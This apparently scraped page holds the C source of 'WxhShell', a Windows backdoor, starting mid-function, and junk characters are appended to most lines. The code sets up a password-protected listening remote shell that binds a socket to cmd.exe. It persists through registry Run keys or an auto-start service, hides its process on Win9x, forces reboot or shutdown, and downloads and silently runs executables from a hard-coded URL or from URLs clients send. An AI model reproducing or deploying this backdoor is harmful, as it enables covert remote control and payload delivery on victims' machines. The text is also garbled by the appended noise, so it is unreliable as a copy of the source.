    if(Boot(SHUTDOWN)) vk4 8&8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kw" y#Ys]  
    else { #X?[")R  
    closesocket(wsh); jYRSV7d  
    ExitThread(0); nW7: ]  
    } bS r"k  
    break; jS##zC  
    } A@)Q-V8*9s  
  // 获取shell ['.])  
  case 's': { 1ruI++P  
    CmdShell(wsh); "g&f:[a/  
    closesocket(wsh); i#t-p\Tcz  
    ExitThread(0); )Ak#1w&q  
    break; Babzrt-  
  } n+ebi>}P  
  // 退出 ^Z?m)qxvB  
  case 'x': { BO w[*hM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 76 )"uqv1x  
    CloseIt(wsh); e8^/S^ =&d  
    break; ~1wt=Ln>  
    } tjb$MW$('  
  // 离开 TZt;-t`  
  case 'q': { A%Ka)UU+n  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xw 43P.  
    closesocket(wsh); R P<M  
    WSACleanup(); ,#3Aaw   
    exit(1); SYA~I-OYc  
    break; ?4/pE@RIy  
        } J'X}6Q  
  } 4J_HcatOB  
  } Yr_ B(n  
xsj ,l@Ey  
  // 提示信息 K6p\ >J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nsU7cLf"^V  
} m[v0mXE  
  } F{E@snc  
W6NhJ#M7  
  return; f^B8!EY#:  
} &|GH@^)@  
M=pQx$%a  
// shell模块句柄 uhfK\.3  
int CmdShell(SOCKET sock) {\`tt c>  
{ c-XO}\?  
STARTUPINFO si; >jhcSvM6  
ZeroMemory(&si,sizeof(si)); mnK<5KLg1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JR.)CzC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -(:T&rfTp  
PROCESS_INFORMATION ProcessInfo; z@~H{glo  
char cmdline[]="cmd"; _.; PLq~0  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); `+n#CWZ"Y  
  return 0; Yu_*P-Ja6  
} J4::.r  
y,x 2f%x  
// 自身启动模式 *eIX"&ba  
int StartFromService(void) 8p%0d`sX  
{ K $- *  
typedef struct IeYNTk &<  
{ e&VC }%m  
  DWORD ExitStatus; l%"DeRp,/  
  DWORD PebBaseAddress; 6LCtWX  
  DWORD AffinityMask; p7Wt(A  
  DWORD BasePriority; }vZf&ib-   
  ULONG UniqueProcessId; -J+1V{  
  ULONG InheritedFromUniqueProcessId; ~iH a^i?2*  
}   PROCESS_BASIC_INFORMATION; :a;F3NJ  
it\$Pih]  
PROCNTQSIP NtQueryInformationProcess; O~V^]   
q< q IT  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yO%^[c?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ?m]vk|>  
Dnw^H.  
  HANDLE             hProcess; XYWyxx5`  
  PROCESS_BASIC_INFORMATION pbi; %eDSo9Y  
by @qg:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @iuX~QA[9  
  if(NULL == hInst ) return 0; :k1?I'q%  
-#f.}H'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )v_Wn[Y.H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T"vf   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7wx=#  
G|Et'k.F4  
  if (!NtQueryInformationProcess) return 0; u.X]K:Yow  
[E a{);  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); u>lt}0  
  if(!hProcess) return 0; g ,JfT^  
.4%z$(+6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3(V0,L'1  
yor'"6)i  
  CloseHandle(hProcess); MQwxQ{  
}[JB%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); M@{?#MkS%  
if(hProcess==NULL) return 0; Y bJg{Sb  
HC$%"peN1b  
HMODULE hMod; Wf3BmkZzz  
char procName[255]; GbQi3%  
unsigned long cbNeeded; #9|&;C5',!  
p"%D/-%Gu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); qBBCnT  
0QZT<Zs  
  CloseHandle(hProcess); X|{Tljn  
)]C]KB  
if(strstr(procName,"services")) return 1; // 以服务启动 rk1,LsZVS  
#E!^oZm<Z  
  return 0; // 注册表启动 #b[bgxm  
} ,.9lz  
VNWB$mM.2  
// 主模块 ~ q-Z-MA  
int StartWxhshell(LPSTR lpCmdLine) C7{VByxJ  
{ SDC|>e9i  
  SOCKET wsl; Mn ,hmIz  
BOOL val=TRUE; >1!u]R<3  
  int port=0; G%bv<_R  
  struct sockaddr_in door; J "I,]  
8S8qj"s  
  if(wscfg.ws_autoins) Install(); #b;?:.m\=  
zz U,0 L  
port=atoi(lpCmdLine); gP QOv  
$}W T"K  
if(port<=0) port=wscfg.ws_port; sr;&/l#7h  
>ZOlSLu  
  WSADATA data; 5m~9Vl-&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $XQgat@&]  
}2;P`s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b69nj  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); G"F O%3&|  
  door.sin_family = AF_INET; 7e+C5W*9b  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F M6{%}4  
  door.sin_port = htons(port); )&O2l  
aDRcVA$*  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x[{\Aw>$.  
closesocket(wsl); : b`N(]  
return 1; &q<k0_5Q  
} Nksm&{=6S  
]6Iu\,#J  
  if(listen(wsl,2) == INVALID_SOCKET) { >} 2C,8N  
closesocket(wsl); ys=} V|  
return 1; D?_K5a&v,  
} Qg/FFn^Kg*  
  Wxhshell(wsl); l0,VN,$Yl  
  WSACleanup(); y5eEEG6  
B%\&Q @X  
return 0; _\\Al v.  
]\^O(BzB  
} {BJ>x:2  
]Y I9  
// 以NT服务方式启动 eX#.Zt]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9o>D Uc  
{ CPy>sV3Ru0  
DWORD   status = 0; >)M1X?HI5  
  DWORD   specificError = 0xfffffff; .@)vJtH)  
&YY`XEG59O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;:bp?(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; M584dMM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5{b;wLi$X2  
  serviceStatus.dwWin32ExitCode     = 0; Aeh #  
  serviceStatus.dwServiceSpecificExitCode = 0; *S*49Hq7c  
  serviceStatus.dwCheckPoint       = 0; zk{d*gN  
  serviceStatus.dwWaitHint       = 0; "e"#k}z9  
bss2<mqlH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2|bt"y-5r  
  if (hServiceStatusHandle==0) return; kfnh1|D=aY  
Qq:}Z7 H  
status = GetLastError(); $(D>v!dp  
  if (status!=NO_ERROR) 0~U%csPHt  
{ =?C <@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k( 0;>)<i  
    serviceStatus.dwCheckPoint       = 0; nRBS&&V  
    serviceStatus.dwWaitHint       = 0; :^kAFLU  
    serviceStatus.dwWin32ExitCode     = status; 5 I_ :7$8  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7k*  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a^l)vh{+  
    return; KE,.Evyu=  
  } /o4e n  
lkT :e)w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (NFrZ0  
  serviceStatus.dwCheckPoint       = 0; Chnt)N`/B4  
  serviceStatus.dwWaitHint       = 0; ~NIhS!  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CqEbQ>?  
} &fB=&jc*j  
GPLop/6   
// 处理NT服务事件,比如:启动、停止 gamB]FPZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8/>.g.]  
{ EY"of[p  
switch(fdwControl) zp8x/,gwF  
{ P+f}r^4}  
case SERVICE_CONTROL_STOP: Kfb(wW  
  serviceStatus.dwWin32ExitCode = 0; [j/|)cj  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; mQ`atFz:Z  
  serviceStatus.dwCheckPoint   = 0; wY ItG"+6  
  serviceStatus.dwWaitHint     = 0; T9$~tv,5F  
  { t,De/L  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vNjc  
  } [z!m  
  return; r2#G|/=@  
case SERVICE_CONTROL_PAUSE: lUjZ=3"'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; L~PiDQr?r  
  break; {g nl6+j  
case SERVICE_CONTROL_CONTINUE: QP\:wi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #$W5)6ch  
  break; ~v(c9I)  
case SERVICE_CONTROL_INTERROGATE: 7u;N/@  
  break; 05H:ZrUV  
}; 2+y wy^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nmiJ2edx  
} ;MGm,F,o  
H_f8/H  
// 标准应用程序主函数 BGi'UL,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p7> 9 m  
{ % WDTnEm  
.iR<5.  
// 获取操作系统版本 j>8ubA  
OsIsNt=GetOsVer(); *e [*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (km $qX  
424iFc[  
  // 从命令行安装 ykbfK$j z  
  if(strpbrk(lpCmdLine,"iI")) Install(); ]CNPy$>*  
bxYSZCo*  
  // 下载执行文件 mQ1  
if(wscfg.ws_downexe) { U<&=pv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]a/dvj}  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5xr>B7MRM?  
} hkl0N%[  
&Y1h=,KR9  
if(!OsIsNt) { f 4pIF"U9>  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?J2A.x5` a  
HideProc(); \LJ!X3TZ  
StartWxhshell(lpCmdLine); V/xXW=  
} ~.x#ic  
else `scW.Vem  
  if(StartFromService()) F-ZTy"z  
  // 以服务方式启动 5)Z=FUupA~  
  StartServiceCtrlDispatcher(DispatchTable); qnyacI  
else k'%yvlv  
  // 普通方式启动 873 bg|^hs  
  StartWxhshell(lpCmdLine); OP+*%$wR  
awR !=\  
return 0; u\ 7Y_`8  
} JJ1>)S}X-  
(L4llZ;q  
!+$QN4{9  
wg[ +NWJ  
=========================================== L *\[;.mk  
"gNi}dB<]  
1d+Kn Jy  
O9N!SQs80  
8Y8bFWuc  
g~-IT&O  
" bK}ZR*)  
;B |  
#include <stdio.h> ;/V])4=  
#include <string.h> FWeUZI+  
#include <windows.h>  kVZs:  
#include <winsock2.h> 3c#^@Bj(-e  
#include <winsvc.h> Da)p%E>Q  
#include <urlmon.h> -flcB|I`  
f {2UL ?y  
#pragma comment (lib, "Ws2_32.lib") JcYY*p  
#pragma comment (lib, "urlmon.lib") #QsJr_=  
{.oz^~zs]g  
#define MAX_USER   100 // 最大客户端连接数 u= dj3q  
#define BUF_SOCK   200 // sock buffer ^7>~y(  
#define KEY_BUFF   255 // 输入 buffer 5q@s6_"{  
00IW9B-  
#define REBOOT     0   // 重启 >a*dI_XE  
#define SHUTDOWN   1   // 关机 M*n94L=Sg&  
oMAUR "  
#define DEF_PORT   5000 // 监听端口 6@lZVM)E  
GKEOjaE  
#define REG_LEN     16   // 注册表键长度 }U=}5`_]D  
#define SVC_LEN     80   // NT服务名长度 D"$ 97  
c/.s`hz  
// 从dll定义API =/j!S|P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TR*vZzoy  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0J[B3JO@M  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H/`@6, j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); A- m IWTa  
o_=4Ex "  
// wxhshell配置信息 @Oz3A<M  
struct WSCFG { e~*tQ4  
  int ws_port;         // 监听端口 n&&C(#mBC  
  char ws_passstr[REG_LEN]; // 口令 ;=@O.iF;H  
  int ws_autoins;       // 安装标记, 1=yes 0=no Jm)7!W%3  
  char ws_regname[REG_LEN]; // 注册表键名 z7BFkZ6+  
  char ws_svcname[REG_LEN]; // 服务名 C8v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 zQO 1%g  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *GYLj[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "D>/#cY1/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~Fo2MwE2~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kz}Bc F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~G8l1dD  
s+_8U}R  
}; J*K=tA  
-]}#Z:&  
// default Wxhshell configuration lmUCrs37  
struct WSCFG wscfg={DEF_PORT, 5`&@3 m9/  
    "xuhuanlingzhe", 4`o0?_.'  
    1, vq9O|E3  
    "Wxhshell", ~C>;0a;<:  
    "Wxhshell", `K@N\VM  
            "WxhShell Service", lxZ9y  
    "Wrsky Windows CmdShell Service", {4SaS v^/  
    "Please Input Your Password: ", z^*g 2J,  
  1, @N[<<k7g  
  "http://www.wrsky.com/wxhshell.exe", P()n=&XO6  
  "Wxhshell.exe" L$"x*2[A  
    }; :{S@KsPqE  
BZTj>yd  
// 消息定义模块 @\gE{;a8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p;7wH\c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %AqI'ObC  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O%bltNEx1  
char *msg_ws_ext="\n\rExit."; NMg(tmh  
char *msg_ws_end="\n\rQuit."; nfZe"|d  
char *msg_ws_boot="\n\rReboot..."; 3rZPVR$))  
char *msg_ws_poff="\n\rShutdown..."; GNwFB)?j  
char *msg_ws_down="\n\rSave to "; /EQ^-4yr  
}jce5E  
char *msg_ws_err="\n\rErr!"; RWu< dY#ym  
char *msg_ws_ok="\n\rOK!"; $L|+Z>x  
.L^j:2(L  
char ExeFile[MAX_PATH]; s!D?%  
int nUser = 0; w(S&X"~  
HANDLE handles[MAX_USER]; `'r~3kP*NT  
int OsIsNt; 7)O+s/.P)  
p]~PyzG!  
SERVICE_STATUS       serviceStatus; Hsov0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; (6H 7?nv  
=],c$)  
// 函数声明 P! j*4t  
int Install(void); ]C+P J:CC  
int Uninstall(void); kuLur)^  
int DownloadFile(char *sURL, SOCKET wsh); 2YQBw,gG  
int Boot(int flag); 5i{J0/'Xu)  
void HideProc(void); sm[zE /2b  
int GetOsVer(void); @o}J)  
int Wxhshell(SOCKET wsl); <o|k'Y(-  
void TalkWithClient(void *cs); "5$p=|  
int CmdShell(SOCKET sock); L`O7-'`  
int StartFromService(void); #/9Y}2G|]  
int StartWxhshell(LPSTR lpCmdLine); Iq19IbR8  
F3q<j$y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fpZHE=}r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); A=ez,87  
Zn*W2s^^{  
// 数据结构和表定义 (}T},ygQ  
SERVICE_TABLE_ENTRY DispatchTable[] = e50xcf1u  
{ ;sUvY*Bcm  
{wscfg.ws_svcname, NTServiceMain}, cw0 @Z0  
{NULL, NULL} tqB6:p-%  
}; /IX555/dR1  
(?7}\B\  
// 自我安装  -y_q  
int Install(void) 6r%i=z  
{ 3*7klu  
  char svExeFile[MAX_PATH]; e8_EB/)_Z  
  HKEY key; M $EHx[*5  
  strcpy(svExeFile,ExeFile); HpeU'0u0VK  
ox.kL  
// 如果是win9x系统,修改注册表设为自启动 (VCJn<@@  
if(!OsIsNt) { GqP02P'2  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  fOsvOC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |,TBP@  
  RegCloseKey(key); /-^{$$eu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >#T?]5Z'MF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (bNoe(<qU  
  RegCloseKey(key); \Q|,0`  
  return 0; 8/P!i2o  
    } /UR;,ts  
  } >*^SQ{9  
} Z;R/!Py.  
else { 0Nk!.gY  
OYa9f[$  
// 如果是NT以上系统,安装为系统服务 |{%$x^KyJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *cX i*7|=  
if (schSCManager!=0) K-c>J uv&,  
{ l8%BRG  
  SC_HANDLE schService = CreateService  0,#n_"  
  ( a>Aq/=  
  schSCManager, weGsjy(b]N  
  wscfg.ws_svcname, .UN?Ak*R  
  wscfg.ws_svcdisp, Gp?pSI,b.t  
  SERVICE_ALL_ACCESS, I&^hG\D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :UKc:JVNM  
  SERVICE_AUTO_START, 6RSit  
  SERVICE_ERROR_NORMAL, ZRr.kN+F  
  svExeFile, ]haQ#e}WH  
  NULL, '['x'G50  
  NULL, g>b{hkIXg  
  NULL, Az?^4 1r8  
  NULL, o~xGE6A*"  
  NULL d,'gh4C  
  ); 4] u\5K-  
  if (schService!=0) jQfnc:'  
  { NSzTl-eS  
  CloseServiceHandle(schService); ]R09-s 0$7  
  CloseServiceHandle(schSCManager); 3:OqD~,zy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ka`}lR  
  strcat(svExeFile,wscfg.ws_svcname); p~(STHDe#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `oO*ORq&  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ak}`zIo  
  RegCloseKey(key); elD|b=(-  
  return 0; c4Q%MRR  
    } X VH( zJ  
  } ,x3< a}J  
  CloseServiceHandle(schSCManager); VYH $em6  
} :yw(Co]f  
} -0k{O@l"  
4zOFu/l6R  
return 1; UQb|J9HY4  
} :8v? 6Q  
4 4WyfpTJ*  
// 自我卸载 NUtKT~V  
int Uninstall(void) O2lM;="  
{ \ZSqZDq  
  HKEY key; :"i2`y;u  
i8*(J-M  
if(!OsIsNt) { \2Q#'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { R=iwp%c(  
  RegDeleteValue(key,wscfg.ws_regname); ?2gXF0+~Y2  
  RegCloseKey(key); r. rzU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tp\d:4~R  
  RegDeleteValue(key,wscfg.ws_regname); cwHbm%  
  RegCloseKey(key); :pvVm>  
  return 0; cI@'Pr4:FJ  
  } f$?`50D"1  
} 9zLeyw\  
} pG v*{.  
else { |$GPJaNqa  
Hr}\-$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {uqP+Cs  
if (schSCManager!=0) w H`GzB"  
{ Ty;^3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kH[thR k}  
  if (schService!=0) $P #KL//  
  { :o:/RRp[  
  if(DeleteService(schService)!=0) { O /&Qzt  
  CloseServiceHandle(schService); #!(2@N8  
  CloseServiceHandle(schSCManager); I;{Ua *  
  return 0; W6u(+P]("  
  } Q:ql~qew  
  CloseServiceHandle(schService); }Os7[4 RW  
  } @JJ{\?>  
  CloseServiceHandle(schSCManager); ,s,AkH  
} [_C([o'\KY  
} Ub wmn!~  
w[^lxq  
return 1; po*r14f  
} T-js*  
uy|]@|J  
// 从指定url下载文件 (3j f_  
int DownloadFile(char *sURL, SOCKET wsh) btDTC 9O  
{ Izfq`zS+\s  
  HRESULT hr; O? 7hT!{  
char seps[]= "/"; b: I0Zv6  
char *token; tCj\U+;  
char *file; |uJjO>8]|  
char myURL[MAX_PATH]; nbDjoZZ4  
char myFILE[MAX_PATH]; IY@N  
ny<D1>{90  
strcpy(myURL,sURL); M'NOM>8  
  token=strtok(myURL,seps); &o`LT|*m  
  while(token!=NULL) P (fWJVF7  
  { @G|z _  
    file=token; 8K\S]SZ  
  token=strtok(NULL,seps); ogdgLTi  
  } - C8VDjf9  
}C JK9*Z  
GetCurrentDirectory(MAX_PATH,myFILE); "2"2qZ*h}  
strcat(myFILE, "\\"); 8&7zV:=  
strcat(myFILE, file); AbX#wpp!  
  send(wsh,myFILE,strlen(myFILE),0); @[TSJi  
send(wsh,"...",3,0); !]8QOn7=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DeQ ZDY //  
  if(hr==S_OK) J[\8:qE  
return 0; q9Lq+4\  
else V#~.n ;d  
return 1; &i *e&{L7  
B\~(:(OPM]  
} #Xi9O.  
0"mr*hyj  
// 系统电源模块 ]];LA!n  
int Boot(int flag) IKp/xj[!  
{ T4;gF6(0]  
  HANDLE hToken; 78IY&q:v&0  
  TOKEN_PRIVILEGES tkp; U6YQ*%mZ_  
\.=,}sV2Z  
  if(OsIsNt) { L~Xzo  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :M@#.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X09i+/ICK  
    tkp.PrivilegeCount = 1; byk9"QeY\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; {@t6[g++  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '*K%\]  
if(flag==REBOOT) { CI|#,^  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) aM\Ph&c7e'  
  return 0; |O*?[|`H  
} ?Elt;wL(  
else { yM?jiy  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ?+byRoY>&g  
  return 0; -[z1r)RZ  
} t2FA|UF  
  } R]d934s  
  else { jZ,=tF  
if(flag==REBOOT) { <07~EP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fTi5Ej*/?)  
  return 0; }x"8v&3CM_  
} ZP<OyX?  
else { sGGi7 %  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g:&PjKA  
  return 0; ~[0^{$rrWs  
} f3mQd}<L  
} 8~iggwZ~h"  
PWS5s^WM  
return 1; b Kr73S9  
} 0E^S!A 7  
wHs4~"EY9  
// win9x进程隐藏模块 @-O%u* %J  
void HideProc(void) r3~YGY  
{ 2'}/aL|G  
w2V:g$~,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); z[]8"C=  
  if ( hKernel != NULL ) 3o_@3-Y%  
  { [h0)V(1KR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Shu=oweJ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); bG]?AiW r  
    FreeLibrary(hKernel); |bk$VT4\  
  } =qww|B92  
9y;zk$O8  
return; &[[Hfs2:-]  
} r@G34Q C+  
4z^VwKH\j  
// 获取操作系统版本 fczH^+mI  
int GetOsVer(void) !PEP`wEKdp  
{ e @|uG%  
  OSVERSIONINFO winfo; @[O|n)7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); PLK;y  
  GetVersionEx(&winfo); GO6uQ};  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s 5F?m  
  return 1; ^7Z.~A y  
  else er2#h  
  return 0; ifadnl26 s  
} <1kK@m -E  
x#'v}(v  
// 客户端句柄模块 28lor&Cc  
int Wxhshell(SOCKET wsl) piAFxS<6  
{ v.>95|8  
  SOCKET wsh; [9~6, ;6  
  struct sockaddr_in client; nOU.=N v`  
  DWORD myID; *YP;HL  
H) q_9<;  
  while(nUser<MAX_USER) uL=FK  
{ k}e~xbh-y  
  int nSize=sizeof(client); #6 M3BF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); cTdX'5  
  if(wsh==INVALID_SOCKET) return 1; q)y<\cEO  
e^-CxHwA-  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); y2>AbrJ  
if(handles[nUser]==0) \!4_m8?  
  closesocket(wsh); gLWbd~  
else pUeok+k_  
  nUser++; gO_d!x*  
  } rC6{-42bb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); GNM+sd y+  
US] I[Y6V  
  return 0; yzyK$WN\[3  
} U;FJSy  
b4>1UZGW-  
// 关闭 socket Url8&.pw  
void CloseIt(SOCKET wsh) *^p^tK  
{ d{(NeTs  
closesocket(wsh); LDj*~\vsq  
nUser--; BSyS DM  
ExitThread(0); }} zY]A  
} luCwP  
B[ r04YGh  
// 客户端请求句柄 azl!#%  
void TalkWithClient(void *cs) vm8ER,IW)  
{ C]ef `5NR]  
??,/85lM  
  SOCKET wsh=(SOCKET)cs; VB}^&{t)!  
  char pwd[SVC_LEN]; `4a9<bG  
  char cmd[KEY_BUFF]; v}Kj+9h  
char chr[1]; dg@'5.ApPu  
int i,j; Ypx"<CKP}  
4.q^r]m*  
  while (nUser < MAX_USER) { *+j r? |  
MD[;Ha  
if(wscfg.ws_passstr) { WL}XD Kx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B<&g  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `5MK(K :  
  //ZeroMemory(pwd,KEY_BUFF); 6sNw#pqh  
      i=0; GyQvodqD  
  while(i<SVC_LEN) { Qv1cf  
ria.MCe\!  
  // 设置超时 WO[O0!X  
  fd_set FdRead; Nt7z ]F`  
  struct timeval TimeOut; @ [%K D  
  FD_ZERO(&FdRead); gh.+}8="  
  FD_SET(wsh,&FdRead); [s~6,wz  
  TimeOut.tv_sec=8; x+,:k=JMT  
  TimeOut.tv_usec=0; 5a2+6N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NwNjB w%v  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); g\G}b  
xi15B5 _Ps  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !Mj28  
  pwd=chr[0]; 3% O[W  
  if(chr[0]==0xd || chr[0]==0xa) { Fq'Ds[wd5  
  pwd=0; {Hzj(c~S?  
  break; YGOhUT |  
  } %(:{TR  
  i++; z(1`Iy M  
    } |F&02 f!]@  
pSodT G$E  
  // 如果是非法用户,关闭 socket =&WH9IKz  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -b=A j8h  
} G@scz!Nt  
FM<`\ d'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?{wD%58^oG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?vmoRX  
;e6- *  
while(1) { __`6 W1  
S%df'bh$  
  ZeroMemory(cmd,KEY_BUFF); q5\iQ2f{WV  
#E#Fk3-ljQ  
      // 自动支持客户端 telnet标准   yBfX4aH:`  
  j=0; $ U-#woXa  
  while(j<KEY_BUFF) { 5'n$aFqI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VI?kbq jo  
  cmd[j]=chr[0]; "&@{f:+  
  if(chr[0]==0xa || chr[0]==0xd) { m[s$)-T  
  cmd[j]=0; DC2[g9S>8@  
  break; 6bT>x5?  
  } ?vQ:z{BO  
  j++; ZNJ<@K-  
    } - #-Bo  
6dhzx; A  
  // 下载文件 k\\e`=  
  if(strstr(cmd,"http://")) { `Nv P)|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #{@qC2!2/  
  if(DownloadFile(cmd,wsh)) _,3%)sn-)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); z[0tM&pv  
  else yacN=]SW5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ J!PSF8PL  
  } nBwDq^  
  else { D&G^|: G  
9hjzOJPuga  
    switch(cmd[0]) { Zm6|aHx8v  
  +g_m|LF  
